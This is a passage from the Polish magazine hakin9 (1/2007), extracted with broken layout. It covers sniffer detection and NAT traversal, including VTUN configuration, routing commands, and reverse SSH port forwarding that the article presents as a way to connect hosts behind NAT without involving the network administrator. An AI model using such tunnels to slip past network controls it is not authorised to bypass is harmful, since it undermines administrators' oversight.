ba ramek odpowiednio się zwiększa. 
Rozwiązaniem problemu jest uprzed-
nie  zliczanie  multiplikacji  ramek

poprzez  wysłanie,  przed  uruchomie-
niem  właściwego  testu,  ramki  mul-
ticastowej  zawierającej  pakiet  ad-
resowany  do  komputera,  na  którym
będziemy  przeprowadzać  testy  (za-
zwyczaj  do  siebie)  i  zliczenie  przy-
chodzących  ramek  unicastowych.
Z kolei w testach odpowiedzi należy in-
formację o wykryciu sniffera umieścić 
tylko w przypadku, gdy liczba przycho-
dzących odpowiedzi jest o jeden więk-
sza niż liczba wykrytych urządzeń. 

Zatem rozważając sytuację z Ry-

sunku  3  należy  spodziewać  się  w 
Sieci  pakietów  przedstawionych  na
Rysunku  4  (w  przypadku  badania
hosta  C  –  bez  sniffera)  oraz  na  Ry-
sunku  5  (w  przypadku  badania  ho-
sta B – ze snifferem). Najpierw z ho-
sta A wysyłane jest zapytanie ICMP 
echo-request z adresem docelowym 
IP  wskazującym  na  siebie  samego
w  ramce  multicastowej.  Jak  widać 
drugi pakiet w Sieci to efekt zamiany 
przez router pakietu multicast na uni-
cast. Następnie wysyłany jest pakiet 
sondujący  na  adres  192.168.134.3 
w  ramce  multicastowej    (host  C  nie 
udzieli  na  niego  odpowiedzi,  gdyż 
nie jest na nim uruchomiony sniffer).
W tym momencie w Sieci pojawi się 
również  wygenerowany  przez  router 
pakiet  ICMP  echo-request  unicast, 
który  trafi  do  hosta  C  (pakietu  tego 

nie można przechwycić na hoście A, 
stąd nie widać go na rysunku). Host C 
udziela odpowiedzi ICMP echo-reply 
(pakiet nr 4). W efekcie można przy-
puszczać nie znając topologii i urzą-
dzeń pracujących w Sieci, że na kom-
puterze  C  jest  uruchomiony  sniffer 
– nie jest to jednak prawda.

W stosunku do sytuacji z Rysun-

ku  4,  teraz  widać,  że  host  B  z  uru-
chomionym snifferem udziela dwóch 
odpowiedzi – na pakiet multicast (ze 
względu na pracę w trybie promisc) 
oraz na pakiet unicast wygenerowa-
ny przez router.

Rozwiązanie  to  zostało  oczywi-

ście zaimplementowane w wersji 2.4 
programu WinAntisniffer, który może-
cie znaleźć na załączonym do pisma 
krążku CD-ROM.

Podsumowanie

Choć  zagadnienia  związane  z  pod-
stawami  obsługi  protokołów  siecio-
wych  wydają  się  czasami  trywialne
i  dobrze  znane,  często  okazuje  się, 
że są to tylko pozory, a błędy i nie-
ścisłości  w  ich  implementacji  zda-
rzają się i najlepszym. Trochę to po-
cieszające,  kiedy  sami  łapiemy  się 
na  tym,  że  kiedyś  napisaliśmy  coś 
nie  do  końca  ścisłego,  albo  zapo-
mnieliśmy  o  jakichś  szczególnych
przypadkach. l

W Sieci

http://www.microsoft.com/technet/
prod-technol/windows2000serv/
r e s k i t / r e g e n t r y / 5 8 7 3 7 . m s p x ?
mfr=true.

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 1/2007

42

Obrona

G

odzina zero. Urządzeń korzystających 
z publicznych adresów IP ciągle przy-
bywa. Z raportu ([1]) opublikowanego 

w 2002 roku wynikało, że pula publicznych ad-
resów  internetowych  zostanie  wyczerpana  do 
2005  roku.  Rok  2005  minął  spokojnie,  a  pro-
blem adresacji specjalnie nam nie doskwierał. 
Nowe  raporty  przesuwają  datę  apokalipsy  na 
lata od około 2010 do 2026. Pomimo tego, że 
wg niektórych źródeł w roku 2012 nastąpi już 
definitywnie koniec świata i problem dostępno-
ści  IP  zejdzie  na  drugi  plan,  ustępując  pierw-
szeństwa  problemom  egzystencjalnym,  warto 
wiedzieć,  że  to  właśnie  rozwój  lokalnych  sie-
ci komputerowych przyczynił się między inny-
mi do przesunięcia momentu, kiedy nie będzie 
można już podłączyć żadnego nowego kompu-
tera do sieci globalnej.

Problem IP i jego rozwiązanie

Aby dwa komputery mogły się ze sobą w In-
ternecie skomunikować, muszą posiadać pu-
bliczne adresy IP – głosi powszechnie znana 
teza. Jednak nie jest ona do końca prawdzi-
wa. Z jednej strony prawdą jest, że krążące 
w  Internecie  pakiety  powinny  mieć  publicz-
ny  adres  źródłowy  i  docelowy,  co  pociąga 

za  sobą  konieczność  istnienia  dwóch  kom-
puterów posiadających zewnętrzne IP – jed-
nego nadającego a drugiego odbierającego.
Z  drugiej  strony  istnieją  mechanizmy,  które 
potrafią  umożliwić  maszynom  posiadającym 
lokalną adresację bezproblemową komunika-
cję z dowolnym adresem IP. Jednym z takich 
mechanizmów  jest  właśnie  NAT  (Network

Address  Translation)  czyli  translacja  adre-

Sieci nie tak znowu lokalne

Konrad Malewski

stopień trudności

Szybki przyrost ilości komputerów na świecie powodują, że 

zmniejsza się ilość wolnych adresów IP. Najczęściej stosowane 

rozwiązanie czyli NAT pomimo swoich zalet, posiada również 

wadę. Jest nią brak możliwości tworzenia połączeń pomiędzy 

komputerami znajdującymi się w różnych sieciach lokalnych.

Z artykułu dowiesz się...

•   Jak działa NAT;
•   Jakie są rodzaje NAT i jakie są ich właściwo-

ści;

•   Jakie są techniki nawiązywania bezpośrednich 

połączeń UDP oraz TCP pomiędzy lokalnymi 
sieciami.

Co powinieneś wiedzieć...

•   Powinieneś znać model ISO/OSI;
•   Powinieneś  mieć  ogólne  pojęcie  o  zasadzie 

działania sieci TCP/IP;

•   Powinieneś mieć ogólne pojęcie o programo-

waniu gniazd sieciowych.

background image

Wszystko o NAT 

hakin9 Nr 1/2007

www.hakin9.org

43

sów  sieciowych.  NAT  nie  jest  je-
dynym  mechanizmem  tego  typu. 
Do umożliwienia surfowania można 
na  przykład  użyć  serwerów  proxy
czy też wykorzystać protokół RSIP. 
Rozwiązania  alternatywne  często 
są  wykorzystywane  w  miejscach,
w których ten, kto udostępnia Inter-
net  chce  mieć  pełniejszą  kontrolę 
nad przesyłanymi danymi.

Translacja adresów

NAT jest obecnie jednym z najczę-
ściej  stosowanych  mechanizmów 
służących  do  udostępniania  połą-
czenia  internetowego  w  sieciach
lokalnych. Jest to mechanizm spraw-
dzony,  dość  dobrze  przetestowa-
ny  i  zrealizowany  lepiej  lub  gorzej
w szerokiej gammie routerów sprzę-
towych.  Istnieją  oczywiście  dar-
mowe  implementacje  programowe 
NAT – natd czy iptables. Stosowanie
tego  rozwiązania  posiada  następu-
jące cechy:

•   NAT  oszczędza  pule  adresów 

– wiele komputerów może posia-
dać  jeden  adres  publiczny,  pod 
którym będą widoczne;

•   Udostępnianie  Internetu  dodat-

kowym maszynom wymaga jedy-
nie  przekonfigurowania  routera.
Nie  istnieje  potrzeba  dokupywa-
nia dodatkowych adresów u ISP;

•   Stosując NAT w firmie łatwo zmie-

nić dostawcę internetowego;

•   NAT automatycznie tworzy swo-

jego  rodzaju  firewall,  który  nie
pozwala  na  niekontrolowane  łą-
czenie się komputerów z interne-
tu z tymi w sieci lokalnej;

•   NAT nie wymaga specjalnej kon-

figuracji aplikacji na komputerach 
klientów.

Niestety  oprócz  licznych  zalet  uży-
wając  NAT  warto  pamiętać  również 
o jego niedostatkach:

•   Stosowanie NAT przy dużej licz-

bie komputerów i jednym adresie 
powoduje  najrozmaitsze  proble-
my, które niekoniecznie wskazu-
ją na konkretną przyczynę;

•   Aby  działać  poprawnie,  niektó-

re  usługi  wymagają  publicznego 

adresu  IP  lub/i  wymagają  dedy-
kowanego portu;

•   NAT  wymaga  więcej  zasobów 

(pamięć,  CPU)  niż  rozwiązanie 
oparte wyłącznie na routingu;

•   Niektóre  protokoły  nie  działają 

dobrze w środowisku z NAT (np. 
ftp, ipsec).

Istnieje szereg rodzajów NAT:

•   Jednokierunkowy NAT;
•   Dwukierunkowy NAT;
•   NAT z translacją portów;
•   Dwukrotny NAT.

Różnice  pomiędzy  poszczególnymi 
rodzajami  NAT  oraz  zasadę  dzia-
łania  najlepiej  pokazać  za  pomo-
cą  przykładu.  Załóżmy,  że  w  sie-
ci  istnieje  komputer,  który  posia-
da  lokalny  adres  192.168.19.100
i jest podłączony do Internetu przez 
NAT,  którego  adres  publiczny  to 
157.158.181.42.  Co  się  dzieje,  gdy 
komputer  z  lokalnym  adresem  IP 
chce się połączyć np. z komputerem 
o adresie 157.158.180.200? W przy-
padku  NAT-a  komputer  z  lokalnym 
IP używa maszyny z usługą NAT ja-
ko domyślnego routera, więc chcąc 
nawiązać  jakąkolwiek  komunikację 
poza  LAN  wyśle  do  niego  pakiety. 
Przy przejściu pakietu przez router 
zostanie zamieniony adres źródłowy 
pakietu na adres publiczny routera. 
Komputer, do którego dotrze pakiet 
po  zmianie  adresu  zobaczy  połą-
czenie nie z adresu 192.168.19.100, 
ale z 157.158.181.42.

Jednokierunkowy  NAT  charak-

teryzuje się tym, że komputer z po-
za  sieci  lokalnej  nie  może  nawią-
zać  połączenia  do  wewnątrz  LAN. 

Rysunek 1. 

Uproszczony model sieci

Komputer z publicznym 

adresem IP

Komputer z lokalnym 

adresem IP

INTERNET

Sieć lokalna

Sieć lokalna

Router z NAT

Router z NAT

Komputer z lokalnym 

adresem IP

Komputer z lokalnym 

adresem IP

Komputer z lokalnym 

adresem IP

Rysunek 2. 

Zasada działania NAT pokazana na przykładzie NAT 

jednokierunkowego

Komputer A

IP: 192.168.19.100

Src: 192.168.19.100

Src port: 3000

Src: 157.158.181.42

Src port: 3000

 Src: 157.158.180.200

 Src port: 5000

 Src: 157.158.180.200

 Src port: 5000

Src: 157.158.181.42

Src port: 5000

 Src: 157.158.180.100

 Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

44

Wszystkie  próby  nawiązania  połą-
czenia  do  routera  są  przetwarzane 
jako  próby  połączenia  z  samą  ma-
szyną routera.

Taką  funkcjonalność  umożliwia 

dwukierunkowy  NAT.  Jeśli  kompu-
ter 157.158.180.200 wyśle pakiet do 
157.158.181.42, to router zamieni ad-
res docelowy na ten z sieci lokalnej. 
Komputer  lokalny  zarejestruje  połą-
czenie z adresu 157.158.180.200.

Autorzy  poszczególnych  imple-

mentacji NAT starają się, by pakie-
ty  przechodzące  przez  router  były 

modyfikowane  w  jak  najmniejszym 
stopniu. I tak np., jeżeli klient NAT w 
sieci lokalnej próbuje ustanowić po-
łączenie zewnętrzne i używa do te-
go celu portu źródłowego X, to NAT 
będzie starał się użyć portu źródło-
wego X po translacji adresu IP. Aby 
zrozumieć zasadność istnienia NAT 
z  translacją  portów  należy  rozwa-
żyć  następujący  przypadek:  co  się 
stanie  jeśli  dwóch  klientów  będzie 
próbowało otworzyć połączenie ze-
wnętrzne i będą używać tego same-
go portu źródłowego? NAT powinien 

jak najmniej ingerować w zawartość 
przepływających pakietów, ale w tej 
sytuacji nieingerowanie spowoduje, 
że po translacji połączenia staną się 
nierozróżnialne od siebie (oba uży-
wałyby  portu  X  jako  źródłowego). 
Jeżeli NAT wykryje taką sytuację, to 
dokona translacji portu i w przypad-
ku drugiego połączenia NAT oprócz 
adresu  IP  zmieni  również  port  źró-
dłowy.

Skoro  istnieje  możliwość  zamia-

ny adresu i portu źródłowego, to nic 
nie stoi na przeszkodzie, aby zamie-
niać również adres docelowy. Zamie-
nianie  adresu  docelowego  ma  sens
między  innymi  w  sytuacji,  w  której 
chcemy połączyć dwie sieci, których 
adresy  nakładają  się.  Jeśli  chcieli-
byśmy  umożliwić  komunikację  po-
między tymi dwoma sieciami to albo
musielibyśmy  zmienić  adresy  w  jed-
nej z nich, albo zastosować podwójny 
NAT na routerach, zamieniając adre-
sy sieci tak, aby się nie nakładały.

Istnieją podziały NAT ze względu 

na inne kryteria, jednakże na chwilę 
obecną poprzestaniemy na tym po-
dziale.

Rysunek 3. 

Zasada działania dwukierunkowego NAT

Komputer A

IP: 192.168.19.100

Src: 192.168.19.100

Src port: 3000

Src: 157.158.181.42

Src port: 3000

 Src: 157.158.180.200

 Src port: 5000

Src: 192.168.19.100

Src port: 5000

 Src: 157.158.180.200

 Src port: 5000

 Src: 157.158.180.200

 Src port: 5000

Src: 157.158.181.42

Src port: 5000

 Src: 157.158.180.200

 Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Rysunek 4. 

NAT z translacją portów

Komputer A

IP: 192.168.19.100

Scr: 192,168.19.100

Src port: 3000

Dst: 157,158.19.200

Dsc port: 5000

Scr: 157.158.181.42

Src port: 3000

Dst: 157.158.180.200

Dst port: 5000

Scr: 157.158.181.42

Src port: 3000

Dst: 157.158.180.200

Dst port: 5000

Scr: 192.168.19.101

Src port: 3000

Dst: 157,158.19.200

Dst port: 5000

Komputer A'

IP: 192.168.19.101

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Rysunek 5. 

Podwójny NAT

Komputer A

IP: 192.168.19.100

Src: 157.158.181.42

Src port: 3000

 Src: 157.158.180.200

 Src port: 5000

 Src: 157.158.180.200

 Src port: 5000

 Src: 157.158.180.200

 Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer S'

IP: 157.158.191.236

background image

Wszystko o NAT 

hakin9 Nr 1/2007

www.hakin9.org

45

Problem bezpośrednich 

połączeń

Obecność  maszyny  pośredniczą-
cej w wymianie pakietów oraz lokal-
na  adresacja  znacząco  komplikuje 
klasyczny  schemat  nawiązywania 
połączeń  pomiędzy  komputerami 
znajdującymi się w różnych sieciach
lokalnych.  Większość  NAT  używa-
nych  obecnie  to  NAT  z  translacją 
portów. O ile nie ma większych pro-
blemów  z  nawiązaniem  sesji  kom-
putera w LAN z serwerem posiada-
jącym publiczne IP, o tyle wszystkie 
żądania połączeń z sieci zewnętrz-
nej  zostaną  odrzucone  przez  ro-
uter łączący komputer z Internetem.
Nawet  jeśli  mamy  dostęp  do  konfi-
guracji  routera  i  zastosujemy  prze-
kierowanie  portu  do  sieci  lokalnej, 
to  i  tak  nie  rozwiązuje  to  wszyst-
kich  problemów,  ponieważ  można 
przekierować port jedynie do jedne-
go adresu. Czasami przekierowanie 
jednego  portu  może  być  idealnym 
rozwiązaniem,  ale  co  w  przypadku 
kiedy  administrator  naszej  lokalnej 
sieci  nie  ma  ochoty  zmieniać  kon-
figuracji routera, a w dodatku doce-
lowa maszyna również znajduje się 
za NAT. Z pomocą przychodzą nam 
różne  techniki,  przy  użyciu  których 
możemy  ustanowić  bezpośrednie 
połączenia  i  nie  będziemy  musie-
li  zawracać  głowy  naszemu  admi-
nistratorowi.

Prosty sposób na P2P

Jeśli  jeden  z  komputerów  posiada 
publiczny  adres  IP,  to  problem  po-
łączenia  w  jedną  stronę  praktycz-
nie nie istnieje. Komputer z publicz-
nym adresem IP jest osiągalny bez-
pośrednio,  więc  połączyć  się  z  nim 
można  tak  samo,  jak  z  każdym  in-
nym w Internecie. Połączenie w dru-
gą stronę sprawia już więcej proble-
mu. Aby je umożliwić należy odwró-
cić schemat połączenia. A mianowi-
cie  komputer  z  publicznym  IP  mu-
si  zażądać  połączenia  od  kompu-
tera  zza  NAT.  Skoro  nie  może  zro-
bić  tego  bezpośrednio,  to  musi  ist-
nieć  komputer  pośredniczący,  po-
przez który do maszyny za NAT zo-
stanie przesłane żądanie połączenia 
(Rysunek 6).

Rozwinięciem tego pomysłu, się-

gającego  jeszcze  czasów  Napste-
ra, jest przesyłanie danych poprzez 
pośrednika sieciowego, który posia-
dałby publiczny adres IP. Klienci, za-
miast łączyć się bezpośrednio ze so-
bą, łączą się z serwerem, który two-
rzy tunel łączący dwie sieci.

Pomysł  ten  nosi  nazwę  TURN 

(skrót  ang.  Traversal  Using  Re-

lay  NAT).  Rozwiązanie  to  jest  dość
uniwersalne,  a  na  dodatek  bardzo 
skuteczne (Rysunek 7). Posiada jed-
nak pewne wady, a mianowicie wyma-
ga  dedykowanego  serwera  pośred-
niczącego  oraz  protokołu  wymiany 
danych  oraz  informacji  sterujących
tunelem.  To  ostatnie  wymusza  ist-
nienie  warstwy  pośredniej,  z  którą 
komunikowałaby się aplikacja chcą-
ca  przesłać  dane.  Jeżeli  rozwiąza-
nie to miałoby zostać wykorzystane
na większą skalę np. gdyby na jego 
bazie  chcieć  świadczyć  usługi  jako 
uniwersalny  pośrednik  sieciowy,  to 
należy  się  liczyć  również  z  proble-
mami natury prawnej.

Zestawiamy VPN

Dla własnej potrzeby możemy jed-
nak w bardzo szybki sposób zesta-
wić tunel takiego typu. W najprost-
szym  przypadku  musimy  jedynie 
posiadać  uprawnienia  administra-
tora  na  maszynie  z  publicznym
adresem  IP.  Do  stworzenia  tunelu 

pomiędzy  komputerami  A  i  B  uży-
jemy  VPN  o  nazwie  VTUN.  VTUN 
umożliwia  stworzenie  na  kompu-
terze  za  NAT  wirtualnego  interfej-
su  sieciowego,  który  połączy  go
z  drugim  komputerem.  Od  strony 
routera  łączącego  A  z  internetem 
tunel  widoczny  jest  jako  jedno  po-
łączenie  A  z  komputerem  C.  Do-
datkowo  VTUN  umożliwia  szyfro-
wanie  przesyłanych  danych.  Alter-
natywnym  rozwiązaniem  i  ponie-
kąd uważanym za bezpieczniejsze 
jest OpenVPN, który dostępny jest
nawet na platformę Windows. Jed-
nak  ze  względu  na  prostotę  konfi-
guracji w tym przykładzie zostanie 
użyty VTUN. Po pomyślnej instalacji 
VTUN, należy skonfigurować usłu-
gę pracującą na maszynie serwera
(w tym przykładzie niech będzie to 
maszyna  C),  oraz  na  maszynach 
klientach (A i B).

Na maszynie C plik konfiguracyj-

ny (Listing 2).

Plik  konfiguracyjny  na  hoście  A 

jest stworzony analogicznie do hosta 
B. Różnią się wyłącznie nazwą sekcji 
(hosta  zamiast  hostb)  oraz  adresem 
IP tunelu (10.1.0.2). Większość opcji 
w  pliku  konfiguracyjnym  jest  samo
komentująca  się.  Obszerną  doku-
mentację  jest  domyślny  plik  konfigu-
racyjny dostarczony wraz z oprogra-
mowaniem.  Znaleźć  tam  można  do-
kładny opis każdego z parametrów.

Rysunek 6. 

Schemat odwróconego połączenia

Żądanie połączenia

INTERNET

Połączenie

R1

A

B

C

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

46

Mając  już  przygotowane  pliki 

konfiguracyjne uruchamiamy serwer 
VTUN na kompuerze C:

vtund -s -f vtun-srv.conf

oraz na komputerze A:

vtund -f vtun-hosta.conf -p hosta 
157.158.180.200

i na koniec na komputerze B:

vtund -f vtun-hostb.conf -p hostb
157.158.180.200

Jeśli wszystko poszło dobrze, to ser-
wer C powinien posiadać dwa dodat-
kowe interfejsy – tap0 łączący C z A 
oraz tap1 łączący C z B.

Teraz  wystarczy  ustawić  regu-

ły  routingu  pozwalające  na  komuni-
kację A z B oraz włączyć przekazy-
wanie pakietów pomiędzy interfejsa-
mi tap0 i tap1 na hoście C. Routing 
na  A  i  B  możemy  ustawić  na  dwa 
sposoby.  Można  do  tego  celu  użyć 
standardowej komendy route, lub też 
bardziej zaawansowane ip z pakietu 

iproute.  Zaletą  używania  polecenia 
ip  jest  możliwość  ustawienia  adre-
su źródłowego, który będzie używa-
ny do osiągnięcia danej sieci. Na ho-
ście A wywołujemy:

ip route add 192.168.18.0/24 dev
tap1 src 192.168.19.100

Na hoście B:

ip route add 192.168.19.0/24 dev
tap1 src 192.168.18.200

Natomiast  hosta  C  uczymy  przeka-
zywania  pakietów  oraz  żądań  ARP 
i tego gdzie znajdują się sieci lokal-
ne A i B. 

Po wykonaniu powyższego zbio-

ru  komend  tunel  powinien  już  dzia-
łać.  Wysyłanie  pakietów  ping  ko-
mendą 

ping  192.168.18.200

  wywoła-

ną  na  hoście  A  powinno  spowodo-
wać  przyjście  pakietów  ICMP  Echo 
Reply z hosta B.

Niektóre  programy  (na  przykład 

nmap)  nie  respektują  parametru  src 
polecenia  ip  i  używają  adresu  IP  in-
terfejsu, przez który wychodzą pakie-
ty.  Pakiety  dochodzące  do  drugiego 
końca tunelu mają adres źródłowy in-
terfejsu tunelującego czyli w naszym 
przypadku  pakiety  docierające  z  A 
do  B  mają  adres  10.1.0.2.  Aby  host 
B umiał odpowiedzieć na taki pakiet, 
trzeba  skonfigurować  mu  dodatkową 
ścieżkę routingu do sieci hosta A.

Sytuacja nie jest tak prosta, jeśli 

nie  mamy  uprawnień  administratora 
na  hoście  C.  Jednak  i  w  tym  przy-
padku można zestawić tunel. Do te-
go  celu  użyjemy  dodatkowo  tunelo-
wania SSH. Host B połączy się z ho-
stem C przekierowując swój lokalny 
port 5000 na port 5000 hosta C:

ssh -f -N -L5000:localhost:5000 uzytkow
nikB@157.158.180.200

Następnie  host  A  wykona  połącze-
nie, jednakże przekierowując zdalny 
port 5000 na swój lokalny:

ssh -f -N -R5000:localhost:5000 uzytkow
nikA@157.158.180.200

Teraz  wystarczy  skonfigurować 

VTUN jako serwer na hoście A i użyć 

VTUN w trybie klienta na hoście B. 
Host B łącząc się na adres localhost:

5000  łączy  się  do  serwera  VTUN 
działającego w drugiej sieci lokalnej. 
Warto przy tym wiedzieć, że ssh za-
pewnia  dodatkową  ochronę  przesy-
łanych danych. De facto w tym roz-
wiązaniu  mamy  podwójną  ochronę. 
Pierwszą zapewnia sam mechanizm 

VTUN, drugą SSH. Jednak bycie pa-
ranoikiem czasami popłaca.

Przedstawione  wyżej  techniki 

nie  wykorzystywały  specyficznych 

właściwości  NAT-a.  Jest  to  ponie-
kąd ich zaletą, gdyż mamy pewność, 
że z dużym prawdopodobieństwem, 
w  każdym  przypadku  uda  nam  się 
nawiązać  połączenie.  Techniki,  któ-
re polegają na wykorzystaniu zacho-
wania NAT są o wiele ciekawsze, ale 
nie dają tej pewności.

Drugie podejście

Jedną  z  takich  technik  jest  STUN 
(Simple Traversal of User Datagram 

Protocol  (UDP)  Through  Network 

Address  Translators  (NATs)).  Jak 
można wywnioskować z nazwy, spo-
sób na przebijanie NAT dotyczy wy-
łącznie  protokołu  UDP.  Jednak,  jak 
zostanie pokazane poniżej, technikę 
tę da się również zastosować wobec 
protokołu TCP.

Załóżmy,  że  komputery  A  i  B 

chcą  wysyłać  do  siebie  bezpośred-
nio  datagramy.  Aby  to  osiągnąć  łą-
czą się z serwerem pośredniczącym 
C. Przyjmijmy, że sieć komputera A 
to  192.168.19.0/24  a  sieć  kompute-
ra  B  to  192.168.18.0/24.  Komputery 
A i B posiadają adresy w swoich sie-
ciach kolejno 100 i 200.

Interfejsy publiczne routerów R1 i 

R2 to 157.158.181.42 i 157.158.180.235, 
a  komputer  pośredniczący  posiada 
adres 157.158.180.200.

Gdy  komputer  A  wysyła  pakiet 

UDP do komputera C poprzez router 

R1, to router zapamiętuje, że taka sy-

Rysunek 7. 

Zasada działania 

protokołu TURN

Kanał

komunikacyjny

C

R1

A

B

R2

INTERNET

Listing 1. 

Host C

echo

 

"1"

 

>

 /

proc

/

sys

/

net

/

ipv4

/

conf

/

tap1

/

forwarding

echo

 

"1"

 

>

 /

proc

/

sys

/

net

/

ipv4

/

conf

/

tap0

/

forwarding

echo

 

"1"

 

>

 /

proc

/

sys

/

net

/

ipv4

/

conf

/

tap1

/

proxy_arp

echo

 

"1"

 

>

 /

proc

/

sys

/

net

/

ipv4

/

conf

/

tap0

/

proxy_arp

ip

 

route

 

add

 

192.168

.

19.0

/

24

 

dev

 

tap0

ip

 

route

 

add

 

192.168

.

18.0

/

24

 

dev

 

tap1

background image
background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

48

tuacja  miała  miejsce  i  pozwala  na 
dwustronną  komunikację  pomiędzy 
komputerami  A  i  C.  Na  przykład,  je-
śli A wyśle pakiet z źródłowym portem 
3000 i docelowym 5000 do kompute-
ra  C,  to  w  momencie  przechodzenia 
przez router z NAT R1, adres źródłowy 
(czyli 192.168.19.100) zostanie zamie-
niony na adres interfejsu zewnętrzne-
go – 157.158.181.42. Jeśli NAT na ro-
uterze R1 zamienia również porty źró-
dłowe to zostanie zamieniony również 
ów port. Aby utrudnić sytuację załóż-
my, że R1 jak i R2 zamieniają nume-
ry  portów  połączeń  zza  NAT.  Por-
ty  źródłowe  pakietów  wychodzących 
są  z  zakresu  30000-60000.  Wraca-
jąc  do  naszego  pakietu  –  po  trans-
lacji  adresu  źródłowego  i  portu  źró-

dłowego, wędruje on w kierunku ma-
szyny C z ustawionym adresem źró-
dłowym 157.158.181.42 i portem źró-
dłowym 50025. Dodatkowo router R1 
zapamiętuje  to  połączenie.  Wszyst-
kie pakiety, które będą pochodzić od 
maszyny C, a ich port docelowy bę-
dzie równy 50025 (port źródłowy rów-
ny  5000)  zostaną  poddane  translacji 
odwrotnej – czyli zostanie przywróco-
ny adres docelowy maszyny A i orygi-
nalny port – 3000. W ten sposób A i C 
mogą dokonywać dwustronnej komu-
nikacji. Jeżeli B również nawiąże po-
łączenie  z  C,  to  C  będzie  miał  łącz-
ność  zarówno  z  A  i  B.  Klienci  A  i  B 
muszą dość często komunikować się 
z C, aby routery R1 i R2 nie usunę-
ły wpisów w swoich tablicach transla-

cji. Teraz C może poinformować A o 
adresie i porcie źródłowym B (tym po 
translacji) i powiadomić B o adresach
i  portach  A.  Załóżmy,  że  żądanie  B 
połączenia na port 5000 komputera C
z portu 4000 zostało zamienione tak, 
że  port  źródłowy  po  przejściu  przez 
NAT  wynosi  50000.  Gdy  zaistnieje 
możliwość  komunikowania  się  A  i  B 
za  pomocą  techniki  TURN,  kompu-
tery mogą dokonać próby połączenia 
bezpośredniego.  W  tym  miejscu  na-
leży  trochę  poszerzyć  naszą  wiedzę 
o  mechanizmie  NAT.  W  momencie 
otwarcia  tak  zwanego  tunelu  i  zma-
powania lokalnego adresu i portu na 
zewnętrzny adres i port poszczególne 
NAT  inaczej  zachowują  się  w  chwili,
w  której  zewnętrzna  maszyna  (nie 
należąca  do  konwersacji)  wyśle  pa-
kiet do routera łączącego sieć lokalną
z  Internetem  na  zmapowany  adres
i port. Sytuację tą obrazuje rysunek 9.

Jeszcze więcej 

rodzajów NAT

Równolegle  z  zaproponowanym 
wcześniej  podziałem,  literatura  kla-
syfikuje  NAT  ze  względu  na  zacho-
wanie w takich sytuacjach jako:

•   Full cone NAT;
•   Restricted cone NAT;
•   Port restricted cone NAT;
•   Symmetric NAT.

Wszystkie  mają  wspólną  cechę.  A 
mianowicie  taką,  że  konsekwencją 
przejścia  pakietu  przez  router  jest 
zmiana  adresu  na  zewnętrzny,  pod-
czas  gdy  port  źródłowy,  o  ile  to  jest 
możliwe,  zostanie  zachowany.  Ce-
chami charakterystycznymi pierwsze-
go jest między innymi to, że host nie 
należący  do  konwersacji,  chcąc  wy-
słać  pakiet  do  lokalnego  komputera, 
wysyła  go  na  adres  zewnętrzny  ho-
sta za NAT. Ponadto jeśli host w sieci 
lokalnej użyje tego samego portu źró-
dłowego do skomunikowania się z in-
nym hostem w Internecie, to NAT nie 
zmieni portu źródłowego po translacji. 
W  swoim  działaniu  przypomina  czę-
ściowo dwukierunkowy NAT, o którym 
wspomniano wcześniej.

Drugi – Restricted cone NAT, za-

chowuje się tak jak Full cone NAT z tą 

Listing 2. 

Plik konfiguracyjny VTUN na komputerze pośredniczącym C

options

 

{

   

port

 

5000

;

   

syslog

    

daemon

;

   

   

ifconfig

   /

sbin

/

ifconfig

;

}

default

 

{

   

speed

 

0

;

}

hosta

 

{

   

passwd

  

Ma

&

^

TU

;

   

   

type

  

ether

;

    

   

device

 

tap0

;

   

   

proto

 

tcp

;

   

   

compress

  

lzo

:

1

;

   

   

encrypt

  

yes

;

   

   

stat

  

yes

;

   

   

keepalive

 

yes

;

  

   

up

 

{

   

   

ifconfig

 

"%% 10.1.0.1 netmask 255.255.255.0"

;

   

}

;

  

down

 

{

   # Shutdown tap device. 
   

ifconfig

 

"%% down"

;

 

   

}

;

}

hostb

 

{

   

passwd

  

Ma

&

^

TU

;

   

   

type

  

ether

;

   

   

device

 

tap1

;

   

   

proto

 

tcp

;

   

   

compress

  

lzo

:

1

;

   

   

encrypt

  

yes

;

   

   

stat

  

yes

;

   

   

keepalive

 

yes

;

   

   

up

 

{

   

   

ifconfig

 

"%% 10.2.0.1 netmask 255.255.255.0"

;

  

}

;

   

down

 

{

   

ifconfig

 

"%% down"

;

 

  

}

;

}

background image

Wszystko o NAT 

hakin9 Nr 1/2007

www.hakin9.org

49

różnicą,  że  wysłany  przez  zewnętrz-
nego hosta pakiet dotrze do sieci lo-
kalnej  wyłącznie  w  przypadku,  gdy 
host  z  wewnątrz  sieci  wysłał  wcze-
śniej  pakiet  do  zewnętrznego  hosta. 
Port  restricted  cone  NAT  dodaje  ob-
ostrzenie w postaci konieczności za-
chowania  numerów  portów.  Wysłany 
przez zewnętrznego hosta pakiet uży-
wający portu źródłowego X i portu do-
celowego Y dotrze do hosta za NAT 
wyłącznie wtedy, gdy host ten wyśle 
najpierw pakiet do zewnętrznego ho-
sta,  jego  port  docelowy  to  X,  a  jego 
port źródłowy po opuszczeniu route-
ra NAT będzie zmapowany na Y. Naj-
trudniejszy do przebicia jest Symme-

tric  NAT,  gdyż  ograniczenie  dotyczy 
w  tym  przypadku  nie  tylko  adresów, 
ale także portów źródłowych i doce-
lowych, a wszystkie parametry są uni-
kalne  dla  każdego  połączenia.  Tylko 
komputer, który używa tej samej pary 
parametrów,  odpowiadając  pakietem 
na adres i port źródłowy, skomunikuje 
się z hostem zza NAT. Dodatkowo, je-
śli komputer z sieci lokalnej użyje tego 
samego portu źródłowego do skomu-
nikowania się z innym adresem, to po 
opuszczeniu  NAT,  port  źródłowy  zo-
stanie  zmieniony.  Zachowanie  wyżej 
opisanych NAT zobrazowane jest na 
rysunkach nr 11,12 oraz 13.

Symetryczny  NAT  jest  często 

określany  jako  not  well  behaved
Jednak  nawet  używając  tego  typu  
NAT jesteśmy w stanie tworzyć bez-
pośrednie połączenia. Polegają one 
na przewidywaniu portu źródłowego, 
który zostanie wybrany jako kolejny.

Tunel UDP

Załóżmy, że NAT routerów R1 i R2 to 
Port  restricted  cone  NAT,  ponieważ 
takie są najczęściej spotykane obec-
